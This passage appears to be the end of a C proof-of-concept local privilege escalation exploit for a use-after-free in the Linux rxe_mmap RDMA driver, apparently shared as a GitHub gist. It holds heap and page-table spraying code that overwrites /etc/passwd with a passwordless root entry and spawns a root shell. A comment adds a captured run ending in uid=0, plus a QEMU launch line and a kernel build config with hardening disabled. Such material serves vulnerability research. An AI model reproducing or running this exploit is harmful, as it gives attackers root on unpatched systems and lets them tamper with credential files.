sysconf(_SC_NPROCESSORS_ONLN) <= opt.destroy_cpu) {
fprintf(stderr, "requested CPU is not online\n");
return EXIT_FAILURE;
}
prime_process_keyring();
init_uverbs();
increase_fd_limit();
for (int i = 0; i < opt.timer_threads; i++) {
if (pthread_create(&timers[i], NULL, timer_pressure_thread,
(void *)(intptr_t)i))
die("pthread_create timer");
}
while (atomic_load_explicit(&timers_ready, memory_order_acquire) !=
opt.timer_threads)
cpu_relax();
int etcfd = open("/etc/passwd", O_RDONLY);
if (etcfd == -1) fatal("/etc/passwd");
struct fd_uring spray[0x3000] = {0};
spray_uring(0x275, spray);
struct unix_edge_spray spray_edge;
if (allocate_unix_edges(&spray_edge, 0x400) < 0)
perror("allocate_unix_edges");
for (int iteration = 0; iteration < opt.iterations; iteration++) {
int ret = run_iteration(iteration);
if (ret < 0)
break;
if (ret > 0) {
// we start the real attack now we now the UAF succeeded
pin_cpu(0);
puts("[+] Preparing pages...");
for (size_t i = 0; i < SPRAY_NUM / ENTRY_PER_TABLE; i++) {
for (size_t j = 0; j < ENTRY_PER_TABLE; j++) {
for (int k = 24; k < 0x1000-24; k += 0x40) {
mmap_file_by_pti(etcfd, 1, i, j, k / 8);
}
}
volatile char c = *PTI_TO_VIRT(1, i, 0, 3); // pte doesnt matter here but it should at least exist
}
pin_cpu(0);
puts("[+] Saturating kmalloc-64...");
struct fown_struct_spray spray_fown;
allocate_fown_structs(&spray_fown, OBJS_PER_SLAB * (NR_PARTIAL) \
+ FULL_SHEAF_CAPACITY * (MAX_FULL_SHEAVES + 2));
deallocate_fown_structs(&spray_fown);
release_iteration_pages(ANON_VMA_SPRAY_AFTER + ANON_VMA_SPRAY_BEFORE);
revoke_key_batch_and_wait(&primary_oracle);
puts("[+] Spraying uring to the main sheaf so the victim can be freed to the buddy...");
release_uring(spray, 0x275);
puts("[+] Spraying PTEs...");
for (size_t i = 0; i < SPRAY_NUM / ENTRY_PER_TABLE; i++) {
for (size_t j = 1; j < ENTRY_PER_TABLE; j++) {
volatile char c;
for (int k = 24; k < 0x1000-24; k += 0x40) {
c = *PTI_TO_VIRT(1, i, j, k / 8);
}
}
}
// getchar();
if (!fork()) { while (1); }
if (!fork()) { while (1); }
// ref count += 2
char* content =
"root::0:0:root:/pwn3d:/bin/sh\n\
nasm::0:0::/root:/bin/bash\n";
char buf[PAGE_SIZE_BYTES] = {0};
int neko = open("/tmp/neko", O_RDWR | O_CREAT, 0666);
memcpy(buf, content, strlen(content));
write(neko, buf, strlen(content));
for (size_t i = 0; i < SPRAY_NUM / ENTRY_PER_TABLE; i++) {
for (size_t j = 1; j < ENTRY_PER_TABLE; j++) {
for (int k = 24; k < 0x1000-24; k += 0x40) {
ssize_t s;
lseek(neko, 0, SEEK_SET);
s = read(neko, PTI_TO_VIRT(1, i, j, k / 8), strlen(content));
// printf("%d\n", s);
if (s > 0) {
printf("[+] Success: wrote entry: %ld, %ld\n", i, j);
result = EXIT_SUCCESS;
}
}
}
}
break;
}
}
atomic_store_explicit(&stop_timers, 1, memory_order_release);
for (int i = 0; i < opt.timer_threads; i++)
pthread_cancel(timers[i]);
for (int i = 0; i < opt.timer_threads; i++)
pthread_join(timers[i], NULL);
if (result != EXIT_SUCCESS) {
printf("[-] no key payload transition observed / failed pte overwrite\n");
} else {
printf("[+] Popping a root shell..");
char *arg[] = {
"su",
"nasm",
NULL
};
execve("/bin/su", arg, NULL);
}
if (uverbs_fd >= 0)
close(uverbs_fd);
return result;
}
/*
testuser@syzkaller:/tmp$ ./poc
=== rxe_mmap UAF LPE ===
[*] iterations=600 cqe=1 keys=32 delay=0+N*10 ns (21 steps)
[*] mmap CPU=1 destroy/timer CPU=0 timers=2 period=20000 ns busy=2500 ns
[+] GET_CONTEXT async_fd=4 vectors=2, ALLOC_PD=0
[*] Increasing file descriptor limit...
[*] iter=0 delay=0 ns: mmap+destroy candidate; leave_delta=+50391 ns, spraying 32 keys
[*] iter=1 delay=10 ns: mmap+destroy candidate; leave_delta=+1406035 ns, spraying 32 keys
[*] iter=2 delay=20 ns: mmap+destroy candidate; leave_delta=+4217 ns, spraying 32 keys
[+] UAF key[0]=468677752 description="rxe-uaf-438-2-0" payload[0]: 0x1337a000 -> 0x1337a001 while fork child is alive
[UAF] after child exit: payload[0]=0x1337a000 (expected restored 0x1337a000, read=40)
[+] Preparing pages...
[+] Freeing of victim + adjacent objects...
[RECLAIM] revoked 32 payloads; waiting 250 ms for RCU callbacks
[+] Uring/fown spray to release the slab page back to the pcp...
[+] Spraying PTEs...
[+] Success: wrote entry: 3, 315
root@syzkaller:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@syzkaller:/tmp# head /etc/passwd
root::0:0:root:/pwn3d:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon:/usr/lib/dhcpcd:/bin/false
sshd:x:991:65534:sshd user:/run/sshd:/usr/sbin/nologin
messagebus:x:990:990:System Message Bus:/nonexistent:/usr/sbin/nologin
nasm::0:0::/root:/bin/bash
qemu-system-x86_64 \
-m 2G \
-s -S \
-enable-kvm \
-cpu host \
-smp 2 \
-kernel "linux/arch/x86/boot/bzImage" \
-append "console=ttyS0 nokaslr root=/dev/sda earlyprintk=serial net.ifnames=0 selinux=0 oops=continue kasan.fault=report" \
-drive file="fs/trixie.img",format=raw \
-net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 \
-net nic,model=e1000 \
-nographic \
-pidfile vm.pid
#!/usr/bin/bash
cd linux && make defconfig && ./scripts/config \
-d SLAB_FREELIST_RANDOM \
-d SLAB_FREELIST_HARDENED \
-d SLAB_BUCKETS \
-d KMALLOC_PARTITION_CACHES \
-d KFENCE \
-d INIT_ON_ALLOC_DEFAULT_ON \
-d INIT_ON_FREE_DEFAULT_ON \
-d HARDENED_USERCOPY \
-d FORTIFY_SOURCE \
-d DEBUG_INFO_NONE \
-e DEBUG_INFO_DWARF4 \
-e TUN \
-e E1000 \
-e USER_NS \
-e VETH \
-e BINFMT_MISC \
-e CONFIGFS_FS \
-e SECURITYFS \
-e INFINIBAND \
-e INFINIBAND_USER_ACCESS \
-e INFINIBAND_USER_MEM \
-e RDMA_RXE \
--set-str SYSTEM_TRUSTED_KEYS "" \
--set-str SYSTEM_REVOCATION_KEYS "" \
&& make olddefconfig && make -j`nproc`
*/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment